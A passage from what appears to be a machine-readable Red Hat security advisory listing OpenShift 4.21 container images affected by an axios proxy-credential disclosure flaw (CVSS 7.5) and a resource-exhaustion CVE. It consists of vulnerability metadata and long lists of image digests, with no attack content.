"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:1fa798e8929bf9ca5a0248df695a7bd9e4a9800fa3a49aa6c711f5460452303b_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:25649934df8b81bb967c2714cd0151acf22a59f0e1ba25f0f564803cf86a2c53_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:37e366676577cd3c67828c64542540ddbf1bd3866538841a844a34096ad4bc97_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:6d23762eeb123e9150385fd77695841aa2fbc22e0eafd5ccbd31b17b31d043ee_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:214a54e1cdab555aca4d89ba2ae3dd825cca158cb1d74271d1a21c5d385647d4_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:51cbcaa1d10ded9608c0b17dcb99d77786586edf4a5db92e8205075129ec6318_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9dc9ccd011217972cef70a48af37278716c9ce47ed6d0a5d8686a3ac607c0a64_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:eda11e652e4e330f3cdd881504b4886fec1c7efb74be88252e3ac906a5964044_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:2cfba758f3448568e6f844a2c380de62c2d84d2d21c7033a91bab994994fb28d_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:62b9725f0852dfa627d030aee5dd8b3259e84a6f0087d3c970a08361b85ecc01_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:adb184389c661980ee1274a3eddf64221101465bc12c83895f981721508f18c3_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:dbf3bf45e958c3e521cd2f1965ed1f6eed1edc7ad1b2ce22be9930d9fdddf21f_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:5c543b465d9c53c8f34458a00e7f74586d91333301770e21054ce7120fa0e8a1_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:a1602d42232b96a0a9ce2f8cf5a809e80e9a9f4752c6845342af7dbb94729070_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:d9cda770f446e132541a740719fda07af700f1ce372a608bde61fb84e42afa2d_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:f680ee32b9ead50a2b09c43405f3e20763b99025ac3f2a186bf6aa56d41425c5_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:1bed594d53537de5cec4d21ec152a8cf769cbcc4a300c233331e79b62d2cfe31_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:6a1c00c60c999234bd4ccd8131ba9ea9d6875bdfb889dccf8db5948d41238110_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:a0192fc0b5ece7d29fe95bd1bcca4cfb98c3540fc0c7a365da6a0ddce097fa41_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:d3ee62e979e6dbfbb846eb60a52d8fa95bfa59a42ccca5cba925d2380c7f96b4_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-vsphere-problem-detector-rhel9@sha256:4117dc54a8f501a6bc579b22cc8ad5ad0360ba54bbe8c8453d11dbdac480f4f7_amd64"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"version": "3.1"
},
"products": [
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:061015f468b484041f552ddb246024c4b1475aba2be6b5ed529fdb5a1f2e323f_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:b96ddf35d0e8a292d986e81420c93aa885fc455fcaf616a915491095b0caec0e_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:e21d39916b8a2d702c5adc1bcda18c7b6ddd3a9cfc09864e82c0cdf5188b301b_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:f31992f179936b6b55311d2c673b09ed29a27baa8a28ece8859d6d04d09ad81e_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:989ff868950ddcfb8dbc15092118c85476be437177b29016e3d6e148c5523334_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:b560fc8b23c8d1a7e362ffe84a26413cf5c5be7bae673052f035319f0e76b188_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:f1cfd18b9ae0ca40e40e0f941ae8d3215dbe7ba51e2bbd32310017e70eccffa5_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:f2031994576d4640f55cf0febf09b4f03ba9eaeaf433c1266a636a1fe2357de7_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:323728d967c18ee9d1c2aa15b1847d0d27cfeb23f75a5f9fa25ae469f35319cf_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:4b96564bdb684813b8fdc7f0257f5586bd3f2f15fa53afaa3a3139beaee71617_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:aa9d5a87e03a61bb8cffaf75b1ee9db23fd6232bc594e1b1152e796083778edd_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:ec6e3caaad9567c2c0e423880f2e7b15f45c8596ee792b784f7fcca05ea28f66_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:6bdbe43aebe603002314b78857288bfb37f5bf8cae3a96d0e6b378b53a277312_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:938e55ebf1d2297f018f1d67c0105d874c524fdbeb587b7f4901b06ca2e3be34_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:99158d48956d3c0ab7d7199136b2c342c49daba19a91d2755ef6ea42c3e23bc0_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:9eb40419d902bbcfac7032918098adc7e91db26ebd9a1ecdf294626352d5c4a0_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:14d3506a84c56ce94db20e3ed1763deb9f72d0febc1a7bb2c8c8c6edfb30c9cd_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:08681a7e9dae6792a5897594769beaf151bf52e489378a133886313f8dac398f_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3fac643abb746b79b89a49fb5d762adac833e3265b83a832cedb3c7254ab6518_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:bd26beeab9ce22eab5cde362ac3610fb83c24d5525075363c50131e8000eb5e8_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:d0095c609b0c0dc6be36865e426e6c97c1793e282ccb150daf5eaea326cc03db_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:387e994a39948184388421bc4e2bfdfd604ebb18b0e3fbb209b256ac03cc944f_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:865891f674c073eb479be00ea69d4a24546dea11bf1e123b3358dc0dad2836c6_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:5d815836e31186ee2438933286395b35c6043986a1c55496f6314dc0aa796ccb_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:677b973d8853977b513318ec5acc866a8ff7adbc6c27f02e3f2b3de946104d57_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:98c8e94df91ff429ac6b104ac3fbd345273f0bcdcd929f2e38bc64aac6c2b1fd_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:af29610cf522f1952006878a267b7bc8c624b0ba975da5bbf8c3b84c23c72d98_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:14b84478be017b16f2c699ab6248450a9f8862313fc4ef38c23b5ae7bbbd27c5_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:155201b7a38a18f69000651e3b0ecdcb19815fb0bfe2f7971b7b49b7a626ac5c_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:9628fc8b3effe793a58cc83f47d8260cbfede603bdbaabd5f4fa78c410f77d57_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:f879e563271c2bf9c4897a5011e6d153fee9085b93cd1dff3d6ae1ce78db1fca_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:09c3b1dab5e555137dccb0a932b329f64067caf6e3706843b7268d6083ef0854_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5786d42ae90f710ca41c9cb0dc318fd7a3c40c8a49c922ad5c57fe98d15deb03_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5e9e2ec5df31d1d37c3faba01952b21b974a3dce50a6bba6b35dd450d1f75fd7_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e082034afc446c8bb29c7aeac67ded281d931695af8f9dae1fd03ef5c4342252_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:9ce038b5fb35619ac1d518bb904d973a87e54a030bf3350f653d84095d701fea_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:c25cf4db4e05f4759b45b7b46d551396627f6c8b72c62168ad1d9d560f016e1b_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:c8945cfb5c06ce3c0a6b0af2ee6c833a14c2a51c05901a8f18aec232e1705567_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:e3be367267b6667ac1429e9f8dd26835aefa03b22a1dad51a8116ac41ee91e84_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:3c78e7b587d9a96d61d64c1a6a09340978d2a075cc34019e45763a7f94d3c7bb_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:4ae1938d0303894656d6d0aa0923fe88785632ee55e0ed46553a54ace495cd10_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:664d9b418f753e8cdbafb0d22f97bb8c0b2097b4d749ea87bf340cc4cb732b09_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:6e4184f47fcf6e187f4c7fac3f1058d575235ca8ec8a118434526ae4a90a9ac8_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:0bab4308f7c309a814f712e39607196d35b40db9dd4616a5d9cca862dd9bebc6_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1ff44c8741a46e16c5511cb5d4fea1706578ff9aa4115481b018b145d1e90aca_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:366ab14ae5460ad0052c556eb30665873a0eb5e164674b56292dd8af70d74807_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:75daf2f2d96d1122e7f6b8fcab558c5d147d812e418107c0b2c16d1b80aa8c59_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:1709dde712ec24c1f771a0bbdf70a2fe298b911c8528a2dc9eef2ab258d36788_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:3b3ef5d55fb3f63ca291717035f5e076b2bd14921d58be0abd399f590be69de0_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:6138073a9b3c5f26146fdacc429b1be38555c25f9cb0934fdfedeedd962e514c_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:c14387a983d59f6c8a62e6591e162019c46902bd4bddf922d03e7bcfd16f7c9c_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:0aa5ce159112edf887a68bac028b860f0087344bae6773c0707421fe94efbf83_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:13b892be223845edeedb6df843edc3c84539c0f7b5849cfbdf1431e891f4d387_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:3eb2cd4352f5f3110a6234c599e8ed2e1f028505294043513d8fda46cb30f511_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:936b7bc4d391f06895399ee89aa43b02316e79cf8436fab198c0e485165ff92c_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:591d0e9a58fbb78cc9bd3a5d2794f4947d1277e2b7ff856ff26c92a15b54ef5d_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:93b12271a9cbb5386c49bde23a4fd0c418410ade915b89501b67976638f1b394_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:8106794a91fc7f08da90c997df3f00b9044782e81b6cda20580b17367588df15_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:f6ddc9d891309a979c07a9d2462fcaa62af6912a1cbb8f986e678c79b29d7b2e_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:6a4410c46718fe6010fad0d6c6b578a2347e61c687da6fa8e6f9220c18085c38_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:cb1bbd2c6ebdc80d0b55b9e24af9afe0e9147c0d56d4ccb2e06910c339aad92d_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:4b531989cffbba08feb30500f836332f2ac5e05f67f5b0d3466344ca56844234_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:97e86b1ec0fb8c9320b643ceb46cee693d78059db2251e96ea48acbc3e8d77d4_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:b7d65cce3142f1e692c846b05a2cb737c1de760815dd003a4eb14c42bc381684_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:ce8035f8ddf2521152896e41e088e5f69ccb62db3ca6f3bff461b1fcfd002e66_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:1fa798e8929bf9ca5a0248df695a7bd9e4a9800fa3a49aa6c711f5460452303b_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:25649934df8b81bb967c2714cd0151acf22a59f0e1ba25f0f564803cf86a2c53_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:37e366676577cd3c67828c64542540ddbf1bd3866538841a844a34096ad4bc97_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:6d23762eeb123e9150385fd77695841aa2fbc22e0eafd5ccbd31b17b31d043ee_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:214a54e1cdab555aca4d89ba2ae3dd825cca158cb1d74271d1a21c5d385647d4_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:51cbcaa1d10ded9608c0b17dcb99d77786586edf4a5db92e8205075129ec6318_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9dc9ccd011217972cef70a48af37278716c9ce47ed6d0a5d8686a3ac607c0a64_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:eda11e652e4e330f3cdd881504b4886fec1c7efb74be88252e3ac906a5964044_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:2cfba758f3448568e6f844a2c380de62c2d84d2d21c7033a91bab994994fb28d_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:62b9725f0852dfa627d030aee5dd8b3259e84a6f0087d3c970a08361b85ecc01_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:adb184389c661980ee1274a3eddf64221101465bc12c83895f981721508f18c3_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:dbf3bf45e958c3e521cd2f1965ed1f6eed1edc7ad1b2ce22be9930d9fdddf21f_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:5c543b465d9c53c8f34458a00e7f74586d91333301770e21054ce7120fa0e8a1_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:a1602d42232b96a0a9ce2f8cf5a809e80e9a9f4752c6845342af7dbb94729070_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:d9cda770f446e132541a740719fda07af700f1ce372a608bde61fb84e42afa2d_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:f680ee32b9ead50a2b09c43405f3e20763b99025ac3f2a186bf6aa56d41425c5_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:1bed594d53537de5cec4d21ec152a8cf769cbcc4a300c233331e79b62d2cfe31_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:6a1c00c60c999234bd4ccd8131ba9ea9d6875bdfb889dccf8db5948d41238110_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:a0192fc0b5ece7d29fe95bd1bcca4cfb98c3540fc0c7a365da6a0ddce097fa41_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:d3ee62e979e6dbfbb846eb60a52d8fa95bfa59a42ccca5cba925d2380c7f96b4_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-vsphere-problem-detector-rhel9@sha256:4117dc54a8f501a6bc579b22cc8ad5ad0360ba54bbe8c8453d11dbdac480f4f7_amd64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "axios: Axios: Information disclosure of proxy credentials via redirect flows"
},
{
"cve": "CVE-2026-44488",
"cwe": {
"id": "CWE-770",
"name": "Allocation of Resources Without Limits or Throttling"
},
"discovery_date": "2026-06-11T17:01:36.836488+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:061015f468b484041f552ddb246024c4b1475aba2be6b5ed529fdb5a1f2e323f_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:b96ddf35d0e8a292d986e81420c93aa885fc455fcaf616a915491095b0caec0e_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:e21d39916b8a2d702c5adc1bcda18c7b6ddd3a9cfc09864e82c0cdf5188b301b_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:f31992f179936b6b55311d2c673b09ed29a27baa8a28ece8859d6d04d09ad81e_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:989ff868950ddcfb8dbc15092118c85476be437177b29016e3d6e148c5523334_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:b560fc8b23c8d1a7e362ffe84a26413cf5c5be7bae673052f035319f0e76b188_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:f1cfd18b9ae0ca40e40e0f941ae8d3215dbe7ba51e2bbd32310017e70eccffa5_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:f2031994576d4640f55cf0febf09b4f03ba9eaeaf433c1266a636a1fe2357de7_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:323728d967c18ee9d1c2aa15b1847d0d27cfeb23f75a5f9fa25ae469f35319cf_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:4b96564bdb684813b8fdc7f0257f5586bd3f2f15fa53afaa3a3139beaee71617_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:aa9d5a87e03a61bb8cffaf75b1ee9db23fd6232bc594e1b1152e796083778edd_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:ec6e3caaad9567c2c0e423880f2e7b15f45c8596ee792b784f7fcca05ea28f66_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:6bdbe43aebe603002314b78857288bfb37f5bf8cae3a96d0e6b378b53a277312_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:938e55ebf1d2297f018f1d67c0105d874c524fdbeb587b7f4901b06ca2e3be34_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:99158d48956d3c0ab7d7199136b2c342c49daba19a91d2755ef6ea42c3e23bc0_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:9eb40419d902bbcfac7032918098adc7e91db26ebd9a1ecdf294626352d5c4a0_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:14d3506a84c56ce94db20e3ed1763deb9f72d0febc1a7bb2c8c8c6edfb30c9cd_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:08681a7e9dae6792a5897594769beaf151bf52e489378a133886313f8dac398f_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3fac643abb746b79b89a49fb5d762adac833e3265b83a832cedb3c7254ab6518_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:bd26beeab9ce22eab5cde362ac3610fb83c24d5525075363c50131e8000eb5e8_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:d0095c609b0c0dc6be36865e426e6c97c1793e282ccb150daf5eaea326cc03db_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:387e994a39948184388421bc4e2bfdfd604ebb18b0e3fbb209b256ac03cc944f_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:865891f674c073eb479be00ea69d4a24546dea11bf1e123b3358dc0dad2836c6_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:5d815836e31186ee2438933286395b35c6043986a1c55496f6314dc0aa796ccb_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:677b973d8853977b513318ec5acc866a8ff7adbc6c27f02e3f2b3de946104d57_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:98c8e94df91ff429ac6b104ac3fbd345273f0bcdcd929f2e38bc64aac6c2b1fd_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:af29610cf522f1952006878a267b7bc8c624b0ba975da5bbf8c3b84c23c72d98_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:14b84478be017b16f2c699ab6248450a9f8862313fc4ef38c23b5ae7bbbd27c5_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:155201b7a38a18f69000651e3b0ecdcb19815fb0bfe2f7971b7b49b7a626ac5c_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:9628fc8b3effe793a58cc83f47d8260cbfede603bdbaabd5f4fa78c410f77d57_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:f879e563271c2bf9c4897a5011e6d153fee9085b93cd1dff3d6ae1ce78db1fca_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:09c3b1dab5e555137dccb0a932b329f64067caf6e3706843b7268d6083ef0854_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5786d42ae90f710ca41c9cb0dc318fd7a3c40c8a49c922ad5c57fe98d15deb03_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5e9e2ec5df31d1d37c3faba01952b21b974a3dce50a6bba6b35dd450d1f75fd7_amd64",
